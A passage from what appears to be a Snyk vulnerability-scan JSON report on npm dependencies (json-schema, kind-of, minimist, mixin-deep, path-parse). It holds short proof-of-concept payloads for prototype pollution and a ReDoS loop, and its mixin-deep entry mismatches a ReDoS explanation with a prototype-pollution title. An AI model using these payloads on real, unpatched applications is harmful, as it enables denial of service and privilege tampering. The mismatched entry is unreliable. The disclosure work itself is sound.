**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `json-schema` to version 0.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/kriszyp/json-schema/commit/22f146111f541d9737e832823699ad3528ca7741)\n", + "disclosureTime": "2021-11-14T15:05:57Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "0.4.0" + ], + "id": "SNYK-JS-JSONSCHEMA-1920922", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-3918" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-12-17T15:25:44.736835Z", + "moduleName": "json-schema", + "packageManager": "npm", + "packageName": "json-schema", + "patches": [], + "proprietary": false, + "publicationTime": "2021-11-14T16:49:43.070251Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/kriszyp/json-schema/commit/22f146111f541d9737e832823699ad3528ca7741" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<0.4.0" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "http-signature@1.2.0", + "jsprim@1.4.1", + "json-schema@0.2.3" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "http-signature@1.2.0", + "jsprim@1.4.2", + "json-schema@0.4.0" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "json-schema", + "version": "0.2.3", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2019-12-16T14:21:14.675101Z", + "credit": [ + "Feng Xiao" + ], + "cvssScore": 3.7, + "description": "## Overview\n[kind-of](https://github.com/jonschlinkert/kind-of) is a package that gets the native type of a value.\n\nAffected versions of this package are vulnerable to Validation Bypass. It leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this built in attribute to manipulate the type detection result.\r\n\r\n## PoC by Feng Xiao\r\n```\r\nvar kindOf = require('kind-of');\r\n\r\n\r\nvar user_input = {\r\n user: 'barney',\r\n age: 36,\r\n active: true,\r\n \"constructor\":{\"name\":\"Symbol\"}\r\n};\r\nconsole.log(kindOf(user_input));\r\n```\n## Remediation\nUpgrade `kind-of` to version 6.0.3 or higher.\n## References\n- [GitHub Issue](https://github.com/jonschlinkert/kind-of/issues/30)\n- [GitHub PR](https://github.com/jonschlinkert/kind-of/pull/31)\n", + "disclosureTime": "2019-12-16T14:31:14Z", + "exploit": "Proof of Concept", + "functions": [ + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "ctorName" + }, + "version": [ + ">=6.0.0 <6.0.3" + ] + } + ], + "fixedIn": [ + "6.0.3" + ], + "id": "SNYK-JS-KINDOF-537849", + "identifiers": { + "CWE": [ + "CWE-20" + ], + "NSP": [ + "1490" + ], + "CVE": [ + "CVE-2019-20149" + ], + "GHSA": [ + "GHSA-6c8f-qphg-qjgp" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-17T13:54:54.804808Z", + "moduleName": "kind-of", + "packageManager": "npm", + "packageName": "kind-of", + "patches": [], + "proprietary": false, + "publicationTime": "2020-01-19T14:31:13Z", + "references": [ + { + "title": "GitHub Issue", + "url": "https://github.com/jonschlinkert/kind-of/issues/30" + }, + { + "title": "GitHub PR", + "url": "https://github.com/jonschlinkert/kind-of/pull/31" + } + ], + "severity": "low", + "socialTrendAlert": false, + "title": "Validation Bypass", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "index.js", + "functionName": "ctorName" + }, + "version": [ + ">=6.0.0 <6.0.3" + ] + } + ], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.3" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "micromatch@3.1.10", + "extglob@2.0.4", + "expand-brackets@2.1.4", + "snapdragon@0.8.2", + "base@0.11.2", + "define-property@1.0.0", + "is-descriptor@1.0.2", + "is-data-descriptor@1.0.0", + "kind-of@6.0.2" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "micromatch@3.1.10", + "extglob@2.0.4", + "expand-brackets@2.1.4", + "snapdragon@0.8.2", + "base@0.11.2", + "define-property@1.0.0", + "is-descriptor@1.0.2", + "is-data-descriptor@1.0.0", + "kind-of@6.0.3" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "kind-of", + "version": "6.0.2", + "severityWithCritical": "low" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", + "alternativeIds": [], + "creationTime": "2022-03-18T13:02:08.840039Z", + "credit": [ + "Unknown" + ], + "cvssScore": 3.7, + "description": "## Overview\n[minimist](https://www.npmjs.com/package/minimist) is a parse argument options module.\n\nAffected versions of this package are vulnerable to Prototype Pollution due to a missing handler to `Function.prototype`.\r\n**Note:** this is a bypass to [CVE-2020-7598](https://security.snyk.io/vuln/SNYK-JS-MINIMIST-559764)\r\n\r\n## PoC by Snyk\r\n```js\r\nrequire('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));\r\nconsole.log((function(){}).foo); // bar\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `minimist` to version 1.2.6 or higher.\n## References\n- [Fix Commit](https://github.com/substack/minimist/commit/c2b981977fa834b223b408cfb860f933c9811e4d)\n- [GitHub Issue](https://github.com/substack/minimist/issues/164)\n- [Vulnerable Code](https://github.com/substack/minimist/blob/master/index.js#L69)\n", + "disclosureTime": "2022-03-18T12:24:05Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "1.2.6" + ], + "id": "SNYK-JS-MINIMIST-2429795", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "SNYK": [ + "SNYK-JS-MINIMIST-559764" + ], + "CVE": [ + "CVE-2021-44906" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-22T13:31:59.687436Z", + "moduleName": "minimist", + "packageManager": "npm", + "packageName": "minimist", + "patches": [], + "proprietary": false, + "publicationTime": "2022-03-21T12:09:35Z", + "references": [ + { + "title": "Fix Commit", + "url": "https://github.com/substack/minimist/commit/c2b981977fa834b223b408cfb860f933c9811e4d" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/substack/minimist/issues/164" + }, + { + "title": "Vulnerable Code", + "url": "https://github.com/substack/minimist/blob/master/index.js%23L69" + } + ], + "severity": "low", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<1.2.6" + ] + }, + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "mkdirp@0.5.5", + "minimist@1.2.5" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "mkdirp@0.5.5", + "minimist@1.2.6" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "minimist", + "version": "1.2.5", + "severityWithCritical": "low" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2020-03-11T08:25:47.093051Z", + "credit": [ + "Snyk Security Team" + ], + "cvssScore": 5.6, + "description": "## Overview\n[minimist](https://www.npmjs.com/package/minimist) is a parse argument options module.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of `Object.prototype` using a `constructor` or `__proto__` payload.\r\n\r\n## PoC by Snyk\r\n```\r\nrequire('minimist')('--__proto__.injected0 value0'.split(' '));\r\nconsole.log(({}).injected0 === 'value0'); // true\r\n\r\nrequire('minimist')('--constructor.prototype.injected1 value1'.split(' '));\r\nconsole.log(({}).injected1 === 'value1'); // true\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `minimist` to version 0.2.1, 1.2.3 or higher.\n## References\n- [Command Injection PoC](https://gist.github.com/Kirill89/47feb345b09bf081317f08dd43403a8a)\n- [GitHub Fix Commit #1](https://github.com/substack/minimist/commit/63e7ed05aa4b1889ec2f3b196426db4500cbda94)\n- [GitHub Fix Commit #2](https://github.com/substack/minimist/commit/38a4d1caead72ef99e824bb420a2528eec03d9ab)\n- [Snyk Research Blog](https://snyk.io/blog/prototype-pollution-minimist/)\n", + "disclosureTime": "2020-03-10T08:22:24Z", + "exploit": "Proof of Concept", + "functions": [ + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "setKey" + }, + "version": [ + "<0.2.1", + ">=1.0.0 <1.1.1" + ] + }, + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "module.exports.setKey" + }, + "version": [ + "<0.2.1", + ">=1.1.1 <1.2.3" + ] + } + ], + "fixedIn": [ + "0.2.1", + "1.2.3" + ], + "id": "SNYK-JS-MINIMIST-559764", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1179" + ], + "CVE": [ + "CVE-2020-7598" + ], + "GHSA": [ + "GHSA-vh95-rmgr-6w4m" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-20T09:48:43.878574Z", + "moduleName": "minimist", + "packageManager": "npm", + "packageName": "minimist", + "patches": [], + "proprietary": true, + "publicationTime": "2020-03-11T08:22:19Z", + "references": [ + { + "title": "Command Injection PoC", + "url": "https://gist.github.com/Kirill89/47feb345b09bf081317f08dd43403a8a" + }, + { + "title": "GitHub Fix Commit #1", + "url": "https://github.com/substack/minimist/commit/63e7ed05aa4b1889ec2f3b196426db4500cbda94" + }, + { + "title": "GitHub Fix Commit #2", + "url": "https://github.com/substack/minimist/commit/38a4d1caead72ef99e824bb420a2528eec03d9ab" + }, + { + "title": "Snyk Research Blog", + "url": "https://snyk.io/blog/prototype-pollution-minimist/" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "index.js", + "functionName": "setKey" + }, + "version": [ + "<0.2.1", + ">=1.0.0 <1.1.1" + ] + }, + { + "functionId": { + "filePath": "index.js", + "functionName": "module.exports.setKey" + }, + "version": [ + "<0.2.1", + ">=1.1.1 <1.2.3" + ] + } + ], + "semver": { + "vulnerable": [ + "<0.2.1", + ">=1.0.0 <1.2.3" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11", + "optimist@0.6.1", + "minimist@0.0.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "minimist", + "version": "0.0.8", + "severityWithCritical": "medium" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2019-06-20T09:34:56.241544Z", + "credit": [ + "Snyk Security Team" + ], + "cvssScore": 7.3, + "description": "## Overview\n[mixin-deep](https://www.npmjs.com/package/mixin-deep) is a package that deeply mixes the properties of objects into the first object.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `mixin-deep` could be tricked into adding or modifying properties of `Object.prototype` using a `constructor` payload.\r\n\r\n## PoC by Snyk\r\n```\r\nconst mixin = require('mixin-deep');\r\nconst payload = '{\"constructor\": {\"prototype\": {\"a0\": true}}}'\r\n\r\nfunction check() {\r\n mixin({}, JSON.parse(payload));\r\n if (({})[`a0`] === true) {\r\n console.log(`Vulnerable to Prototype Pollution via ${payload}`)\r\n }\r\n}\r\n\r\ncheck();\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `mixin-deep` to version 2.0.1, 1.3.2 or higher.\n## References\n- [GitHub Commit](https://github.com/jonschlinkert/mixin-deep/commit/8f464c8ce9761a8c9c2b3457eaeee9d404fa7af9)\n", + "disclosureTime": "2019-06-19T09:34:10Z", + "exploit": "Proof of Concept", + "functions": [ + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "mixinDeep" + }, + "version": [ + ">=2.0.0 <2.0.1" + ] + }, + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "copy" + }, + "version": [ + ">=1.1.1 <2.0.0" + ] + }, + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "module.exports.copy" + }, + "version": [ + "<1.1.1" + ] + } + ], + "fixedIn": [ + "2.0.1", + "1.3.2" + ], + "id": "SNYK-JS-MIXINDEEP-450212", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1013" + ], + "CVE": [ + "CVE-2019-10746" + ], + "GHSA": [ + "GHSA-fhjf-83wg-r2j9" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-22T17:02:13.112544Z", + "moduleName": "mixin-deep", + "packageManager": "npm", + "packageName": "mixin-deep", + "patches": [], + "proprietary": true, + "publicationTime": "2019-06-20T09:34:08Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/jonschlinkert/mixin-deep/commit/8f464c8ce9761a8c9c2b3457eaeee9d404fa7af9" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "index.js", + "functionName": "mixinDeep" + }, + "version": [ + ">=2.0.0 <2.0.1" + ] + }, + { + "functionId": { + "filePath": "index.js", + "functionName": "copy" + }, + "version": [ + ">=1.1.1 <2.0.0" + ] + }, + { + "functionId": { + "filePath": "index.js", + "functionName": "module.exports.copy" + }, + "version": [ + "<1.1.1" + ] + } + ], + "semver": { + "vulnerable": [ + ">=2.0.0 <2.0.1", + "<1.3.2" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "micromatch@3.1.10", + "extglob@2.0.4", + "expand-brackets@2.1.4", + "snapdragon@0.8.2", + "base@0.11.2", + "mixin-deep@1.3.1" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "micromatch@3.1.10", + "extglob@2.0.4", + "expand-brackets@2.1.4", + "snapdragon@0.8.2", + "base@0.11.2", + "mixin-deep@1.3.2" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "mixin-deep", + "version": "1.3.1", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P", + "alternativeIds": [], + "creationTime": "2021-02-19T16:00:22.449519Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 5.3, + "description": "## Overview\n[path-parse](https://www.npmjs.org/package/path-parse) is a Node.js path.parse() ponyfill\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `splitDeviceRe`, `splitTailRe`, and `splitPathRe` regular expressions. ReDoS exhibits polynomial worst-case time complexity.\r\n\r\n### PoC\r\n```\r\nvar pathParse = require('path-parse');\r\nfunction build_attack(n) {\r\n var ret = \"\"\r\n for (var i = 0; i < n; i++) {\r\n ret += \"/\"\r\n }\r\n return ret + \"◎\";\r\n}\r\n\r\nfor(var i = 1; i <= 5000000; i++) {\r\n if (i % 10000 == 0) {\r\n var time = Date.now();\r\n var attack_str = build_attack(i)\r\n pathParse(attack_str);\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n }\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-parse` to version 1.0.7 or higher.\n## References\n- [GitHub Issue 1](https://github.com/jbgutierrez/path-parse/issues/8)\n- [GitHub PR](https://github.com/jbgutierrez/path-parse/pull/10)\n", + "disclosureTime": "2021-02-19T15:54:01Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "1.0.7" + ], + "id": "SNYK-JS-PATHPARSE-1077067", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-23343" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-08-08T13:56:55.024375Z", + "moduleName": "path-parse", + "packageManager": "npm", + "packageName": "path-parse", + "patches": [], + "proprietary": true, + "publicationTime": "2021-05-04T08:38:49Z", + "references": [ + { + "title": "GitHub Issue 1", + "url": "https://github.com/jbgutierrez/path-parse/issues/8" + }, + { + "title": "GitHub PR", + "url": 